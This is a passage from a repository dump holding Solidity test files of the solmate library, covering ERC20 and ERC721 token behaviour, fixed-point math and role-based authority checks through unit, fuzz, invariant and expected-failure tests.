assertEq(token.totalSupply(), mintAmount - burnAmount);
assertEq(token.balanceOf(from), mintAmount - burnAmount);
}
function testApprove(address to, uint256 amount) public {
assertTrue(token.approve(to, amount));
assertEq(token.allowance(address(this), to), amount);
}
function testTransfer(address from, uint256 amount) public {
token.mint(address(this), amount);
assertTrue(token.transfer(from, amount));
assertEq(token.totalSupply(), amount);
if (address(this) == from) {
assertEq(token.balanceOf(address(this)), amount);
} else {
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.balanceOf(from), amount);
}
}
function testTransferFrom(
address to,
uint256 approval,
uint256 amount
) public {
amount = bound(amount, 0, approval);
ERC20User from = new ERC20User(token);
token.mint(address(from), amount);
from.approve(address(this), approval);
assertTrue(token.transferFrom(address(from), to, amount));
assertEq(token.totalSupply(), amount);
uint256 app = address(from) == address(this) || approval == type(uint256).max ? approval : approval - amount;
assertEq(token.allowance(address(from), address(this)), app);
if (address(from) == to) {
assertEq(token.balanceOf(address(from)), amount);
} else {
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(to), amount);
}
}
function testPermit(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
assertEq(token.allowance(owner, to), amount);
assertEq(token.nonces(owner), 1);
}
function testFailBurnInsufficientBalance(
address to,
uint256 mintAmount,
uint256 burnAmount
) public {
burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
token.mint(to, mintAmount);
token.burn(to, burnAmount);
}
function testFailTransferInsufficientBalance(
address to,
uint256 mintAmount,
uint256 sendAmount
) public {
sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
token.mint(address(this), mintAmount);
token.transfer(to, sendAmount);
}
function testFailTransferFromInsufficientAllowance(
address to,
uint256 approval,
uint256 amount
) public {
amount = bound(amount, approval + 1, type(uint256).max);
ERC20User from = new ERC20User(token);
token.mint(address(from), amount);
from.approve(address(this), approval);
token.transferFrom(address(from), to, amount);
}
function testFailTransferFromInsufficientBalance(
address to,
uint256 mintAmount,
uint256 sendAmount
) public {
sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
ERC20User from = new ERC20User(token);
token.mint(address(from), mintAmount);
from.approve(address(this), sendAmount);
token.transferFrom(address(from), to, sendAmount);
}
function testFailPermitBadNonce(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline,
uint256 nonce
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
if (nonce == 0) nonce = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, nonce, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
}
function testFailPermitBadDeadline(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline + 1, v, r, s);
}
function testFailPermitPastDeadline(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
deadline = bound(deadline, 0, block.timestamp - 1);
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
}
function testFailPermitReplay(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
token.permit(owner, to, amount, deadline, v, r, s);
}
}
contract ERC20Invariants is DSTestPlus, DSInvariantTest {
BalanceSum balanceSum;
MockERC20 token;
function setUp() public {
token = new MockERC20("Token", "TKN", 18);
balanceSum = new BalanceSum(token);
addTargetContract(address(balanceSum));
}
function invariantBalanceSum() public {
assertEq(token.totalSupply(), balanceSum.sum());
}
}
contract BalanceSum {
MockERC20 token;
uint256 public sum;
constructor(MockERC20 _token) {
token = _token;
}
function mint(address from, uint256 amount) public {
token.mint(from, amount);
sum += amount;
}
function burn(address from, uint256 amount) public {
token.burn(from, amount);
sum -= amount;
}
function approve(address to, uint256 amount) public {
token.approve(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public {
token.transferFrom(from, to, amount);
}
function transfer(address to, uint256 amount) public {
token.transfer(to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ERC721.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC721} from "./utils/mocks/MockERC721.sol";
import {ERC721User} from "./utils/users/ERC721User.sol";
import {ERC721TokenReceiver} from "../tokens/ERC721.sol";
contract ERC721Recipient is ERC721TokenReceiver {
address public operator;
address public from;
uint256 public id;
bytes public data;
function onERC721Received(
address _operator,
address _from,
uint256 _id,
bytes calldata _data
) public virtual override returns (bytes4) {
operator = _operator;
from = _from;
id = _id;
data = _data;
return ERC721TokenReceiver.onERC721Received.selector;
}
}
contract RevertingERC721Recipient is ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
revert(string(abi.encodePacked(ERC721TokenReceiver.onERC721Received.selector)));
}
}
contract WrongReturnDataERC721Recipient is ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
return 0xCAFEBEEF;
}
}
contract NonERC721Recipient {}
contract ERC721Test is DSTestPlus {
MockERC721 token;
function setUp() public {
token = new MockERC721("Token", "TKN");
}
function invariantMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
}
function testMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
}
function testMint() public {
token.mint(address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.ownerOf(1337), address(0xBEEF));
}
function testBurn() public {
token.mint(address(0xBEEF), 1337);
token.burn(1337);
assertEq(token.totalSupply(), 0);
assertEq(token.balanceOf(address(0xBEEF)), 0);
assertEq(token.ownerOf(1337), address(0));
}
function testApprove() public {
token.mint(address(this), 1337);
token.approve(address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0xBEEF));
}
function testApproveAll() public {
token.setApprovalForAll(address(0xBEEF), true);
assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
}
function testTransferFrom() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.approve(address(this), 1337);
token.transferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testTransferFromSelf() public {
token.mint(address(this), 1337);
token.transferFrom(address(this), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(this)), 0);
}
function testTransferFromApproveAll() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.transferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToEOA() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToERC721Recipient() public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), 1337);
assertBytesEq(recipient.data(), "");
}
function testSafeTransferFromToERC721RecipientWithData() public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), 1337, "testing 123");
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), 1337);
assertBytesEq(recipient.data(), "testing 123");
}
function testSafeMintToEOA() public {
token.safeMint(address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(1337), address(address(0xBEEF)));
assertEq(token.balanceOf(address(address(0xBEEF))), 1);
}
function testSafeMintToERC721Recipient() public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(1337), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.data(), "");
}
function testSafeMintToERC721RecipientWithData() public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), 1337, "testing 123");
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(1337), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.data(), "testing 123");
}
function testFailMintToZero() public {
token.mint(address(0), 1337);
}
function testFailDoubleMint() public {
token.mint(address(0xBEEF), 1337);
token.mint(address(0xBEEF), 1337);
}
function testFailBurnUnMinted() public {
token.burn(1337);
}
function testFailDoubleBurn() public {
token.mint(address(0xBEEF), 1337);
token.burn(1337);
token.burn(1337);
}
function testFailApproveUnMinted() public {
token.approve(address(0xBEEF), 1337);
}
function testFailApproveUnAuthorized() public {
token.mint(address(0xCAFE), 1337);
token.approve(address(0xBEEF), 1337);
}
function testFailTransferFromUnOwned() public {
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailTransferFromWrongFrom() public {
token.mint(address(0xCAFE), 1337);
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailTransferFromToZero() public {
token.mint(address(this), 1337);
token.transferFrom(address(this), address(0), 1337);
}
function testFailTransferFromNotOwner() public {
token.mint(address(0xFEED), 1337);
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailSafeTransferFromToNonERC721Recipient() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);
}
function testFailSafeTransferFromToNonERC721RecipientWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, "testing 123");
}
function testFailSafeTransferFromToRevertingERC721Recipient() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);
}
function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, "testing 123");
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToNonERC721Recipient() public {
token.safeMint(address(new NonERC721Recipient()), 1337);
}
function testFailSafeMintToNonERC721RecipientWithData() public {
token.safeMint(address(new NonERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToRevertingERC721Recipient() public {
token.safeMint(address(new RevertingERC721Recipient()), 1337);
}
function testFailSafeMintToRevertingERC721RecipientWithData() public {
token.safeMint(address(new RevertingERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToERC721RecipientWithWrongReturnData() public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);
}
function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, "testing 123");
}
function testMetadata(string memory name, string memory symbol) public {
MockERC721 tkn = new MockERC721(name, symbol);
assertEq(tkn.name(), name);
assertEq(tkn.symbol(), symbol);
}
function testMint(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.balanceOf(to), 1);
assertEq(token.ownerOf(id), to);
}
function testBurn(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.burn(id);
assertEq(token.totalSupply(), 0);
assertEq(token.balanceOf(to), 0);
assertEq(token.ownerOf(id), address(0));
}
function testApprove(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(address(this), id);
token.approve(to, id);
assertEq(token.getApproved(id), to);
}
function testApproveAll(address to, bool approved) public {
token.setApprovalForAll(to, approved);
assertBoolEq(token.isApprovedForAll(address(this), to), approved);
}
function testTransferFrom(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.approve(address(this), id);
token.transferFrom(address(from), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testTransferFromSelf(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(address(this), id);
token.transferFrom(address(this), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(this)), 0);
}
function testTransferFromApproveAll(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.transferFrom(address(from), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToEOA(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToERC721Recipient(uint256 id) public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), id);
assertBytesEq(recipient.data(), "");
}
function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), id, data);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), id);
assertBytesEq(recipient.data(), data);
}
function testSafeMintToEOA(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
token.safeMint(to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
}
function testSafeMintToERC721Recipient(uint256 id) public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), id);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.data(), "");
}
function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), id, data);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.data(), data);
}
function testFailMintToZero(uint256 id) public {
token.mint(address(0), id);
}
function testFailDoubleMint(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.mint(to, id);
}
function testFailBurnUnMinted(uint256 id) public {
token.burn(id);
}
function testFailDoubleBurn(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.burn(id);
token.burn(id);
}
function testFailApproveUnMinted(uint256 id, address to) public {
token.approve(to, id);
}
function testFailApproveUnAuthorized(
address owner,
uint256 id,
address to
) public {
if (owner == address(0)) to = address(0xBEEF);
if (owner == address(this)) return;
token.mint(owner, id);
token.approve(to, id);
}
function testFailTransferFromUnOwned(
address from,
address to,
uint256 id
) public {
token.transferFrom(from, to, id);
}
function testFailTransferFromWrongFrom(
address owner,
address from,
address to,
uint256 id
) public {
if (owner == address(0)) to = address(0xBEEF);
if (from == owner) revert();
token.mint(owner, id);
token.transferFrom(from, to, id);
}
function testFailTransferFromToZero(uint256 id) public {
token.mint(address(this), id);
token.transferFrom(address(this), address(0), id);
}
function testFailTransferFromNotOwner(
address from,
address to,
uint256 id
) public {
if (from == address(0)) to = address(0xBEEF);
token.mint(from, id);
token.transferFrom(from, to, id);
}
function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);
}
function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);
}
function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);
}
function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data)
public
{
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);
}
function testFailSafeMintToNonERC721Recipient(uint256 id) public {
token.safeMint(address(new NonERC721Recipient()), id);
}
function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new NonERC721Recipient()), id, data);
}
function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {
token.safeMint(address(new RevertingERC721Recipient()), id);
}
function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new RevertingERC721Recipient()), id, data);
}
function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), id);
}
function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);
}
}
contract ERC721Invariants is DSTestPlus, DSInvariantTest {
BalanceSum balanceSum;
MockERC721 token;
function setUp() public {
token = new MockERC721("Token", "TKN");
balanceSum = new BalanceSum(token);
addTargetContract(address(balanceSum));
}
function invariantBalanceSum() public {
assertEq(token.totalSupply(), balanceSum.sum());
}
}
contract BalanceSum {
MockERC721 token;
uint256 public sum;
constructor(MockERC721 _token) {
token = _token;
}
function mint(address from, uint256 id) public {
token.mint(from, id);
sum++;
}
function burn(uint256 id) public {
token.burn(id);
sum--;
}
function approve(address to, uint256 amount) public {
token.approve(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public {
token.transferFrom(from, to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/FixedPointMathLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
contract FixedPointMathLibTest is DSTestPlus {
function testFMul() public {
assertEq(FixedPointMathLib.fmul(2.5e27, 0.5e27, FixedPointMathLib.RAY), 1.25e27);
assertEq(FixedPointMathLib.fmul(2.5e18, 0.5e18, FixedPointMathLib.WAD), 1.25e18);
assertEq(FixedPointMathLib.fmul(2.5e8, 0.5e8, FixedPointMathLib.YAD), 1.25e8);
}
function testFMulEdgeCases() public {
assertEq(FixedPointMathLib.fmul(0, 1e18, FixedPointMathLib.WAD), 0);
assertEq(FixedPointMathLib.fmul(1e18, 0, FixedPointMathLib.WAD), 0);
assertEq(FixedPointMathLib.fmul(0, 0, FixedPointMathLib.WAD), 0);
assertEq(FixedPointMathLib.fmul(1e18, 1e18, 0), 0);
}
function testFDiv() public {
assertEq(FixedPointMathLib.fdiv(1e27, 2e27, FixedPointMathLib.RAY), 0.5e27);
assertEq(FixedPointMathLib.fdiv(1e18, 2e18, FixedPointMathLib.WAD), 0.5e18);
assertEq(FixedPointMathLib.fdiv(1e8, 2e8, FixedPointMathLib.YAD), 0.5e8);
}
function testFDivEdgeCases() public {
assertEq(FixedPointMathLib.fdiv(1e8, 1e18, 0), 0);
assertEq(FixedPointMathLib.fdiv(0, 1e18, FixedPointMathLib.WAD), 0);
}
function testFailFDivZeroY() public pure {
FixedPointMathLib.fdiv(1e18, 0, FixedPointMathLib.WAD);
}
function testFailFDivZeroXY() public pure {
FixedPointMathLib.fdiv(0, 0, FixedPointMathLib.WAD);
}
function testFailFDivXYB() public pure {
FixedPointMathLib.fdiv(0, 0, 0);
}
function testFPow() public {
assertEq(FixedPointMathLib.fpow(2e27, 2, FixedPointMathLib.RAY), 4e27);
assertEq(FixedPointMathLib.fpow(2e18, 2, FixedPointMathLib.WAD), 4e18);
assertEq(FixedPointMathLib.fpow(2e8, 2, FixedPointMathLib.YAD), 4e8);
}
function testSqrt() public {
assertEq(FixedPointMathLib.sqrt(0), 0);
assertEq(FixedPointMathLib.sqrt(1), 1);
assertEq(FixedPointMathLib.sqrt(2704), 52);
assertEq(FixedPointMathLib.sqrt(110889), 333);
assertEq(FixedPointMathLib.sqrt(32239684), 5678);
}
function testFMul(
uint256 x,
uint256 y,
uint256 baseUnit
) public {
// Convert cases where x * y overflows into useful test cases.
unchecked {
while (x != 0 && (x * y) / x != y) {
x /= 2;
y /= 2;
}
}
assertEq(FixedPointMathLib.fmul(x, y, baseUnit), baseUnit == 0 ? 0 : (x * y) / baseUnit);
}
function testFailFMulOverflow(
uint256 x,
uint256 y,
uint256 baseUnit
) public pure {
// Ignore cases where x * y does not overflow.
unchecked {
if ((x * y) / x == y) revert();
}
FixedPointMathLib.fmul(x, y, baseUnit);
}
function testFDiv(
uint256 x,
uint256 y,
uint256 baseUnit
) public {
if (y == 0) y = 1;
// Ignore cases where x * baseUnit overflows.
unchecked {
if (x != 0 && (x * baseUnit) / x != baseUnit) return;
}
assertEq(FixedPointMathLib.fdiv(x, y, baseUnit), (x * baseUnit) / y);
}
function testFailFDivOverflow(
uint256 x,
uint256 y,
uint256 baseUnit
) public pure {
// Ignore cases where x * baseUnit does not overflow.
unchecked {
if ((x * baseUnit) / x == baseUnit) revert();
}
FixedPointMathLib.fdiv(x, y, baseUnit);
}
function testFailFDivYZero(uint256 x, uint256 baseUnit) public pure {
FixedPointMathLib.fdiv(x, 0, baseUnit);
}
function testSqrt(uint256 x) public {
uint256 root = FixedPointMathLib.sqrt(x);
uint256 next = root + 1;
// Ignore cases where next * next overflows.
unchecked {
if (next * next < next) return;
}
assertTrue(root * root <= x && next * next > x);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/MultiRolesAuthority.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
import {MultiRolesAuthority} from "../auth/authorities/MultiRolesAuthority.sol";
contract MultiRolesAuthorityTest is DSTestPlus {
MultiRolesAuthority multiRolesAuthority;
function setUp() public {
multiRolesAuthority = new MultiRolesAuthority(address(this), Authority(address(0)));
}
function testSetRoles() public {
assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
}
function testSetRoleCapabilities() public {
assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
}
function testSetPublicCapabilities() public {
assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
}
function testSetTargetCustomAuthority() public {
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));
multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0xCAFE)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0xCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));
}
function testCanCallWithAuthorizedRole() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
